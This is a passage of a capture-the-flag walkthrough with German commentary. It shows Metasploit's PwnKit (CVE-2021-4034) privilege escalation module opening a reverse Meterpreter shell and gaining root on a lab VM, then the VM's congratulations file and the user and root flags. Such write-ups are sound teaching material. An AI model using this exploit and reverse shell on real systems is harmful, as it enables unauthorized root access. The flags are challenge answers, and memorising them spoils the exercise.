msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.137:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.ngzptun
[+] The target is vulnerable.
[*] Writing '/tmp/.tljstn/hhegupbm/hhegupbm.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.tljstn
[*] Sending stage (3045348 bytes) to 192.168.2.141
[+] Deleted /tmp/.tljstn/hhegupbm/hhegupbm.so
[+] Deleted /tmp/.tljstn/.voijckv
[+] Deleted /tmp/.tljstn
[*] Meterpreter session 2 opened (192.168.2.137:4445 -> 192.168.2.141:44226) at 2023-06-18 01:42:24 +0200

Ben Chehade's Kommentar: Wir wählen den Exploit "exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec" und konfigurieren ihn mit den entsprechenden Optionen. Nach dem Ausführen des Exploits erhalten wir eine neue Meterpreter-Session.

meterpreter >
meterpreter > getuid
Server username: root

Ben Chehade's Kommentar: Wir überprüfen, ob wir Root-Rechte haben, indem wir den Befehl "getuid" ausführen. Die Ausgabe "Server username: root" bestätigt, dass wir erfolgreich Root-Rechte erlangt haben. Fantastisch! Die Privilege Escalation war erfolgreich! Wir sind jetzt als `root` angemeldet.

meterpreter > shell
Process 4683 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),27(sudo),1001(django)

Ben Chehade's Kommentar: Wir öffnen eine Shell und führen den Befehl "id" aus, um unsere Identität zu bestätigen. Die Ausgabe zeigt, dass wir als Root-Benutzer angemeldet sind.

ls -la /root
total 36
drwx------ 3 root root 4096 Sep 20 2017 .
drwxr-xr-x 24 root root 4096 Aug 25 2017 ..
-rw------- 1 root root 378 Sep 20 2017 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwxr-xr-x 2 root root 4096 Aug 24 2017 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 Aug 24 2017 .selected_editor
-rw------- 1 root root 1065 Sep 20 2017 .viminfo
-rw-r--r-- 1 root root 288 Sep 20 2017 congrats.txt
cat /root/congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

Ben Chehade's Kommentar: Wir lesen die Datei "/root/congrats.txt", um eine Nachricht vom Ersteller der VM zu erhalten.

Flags

cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A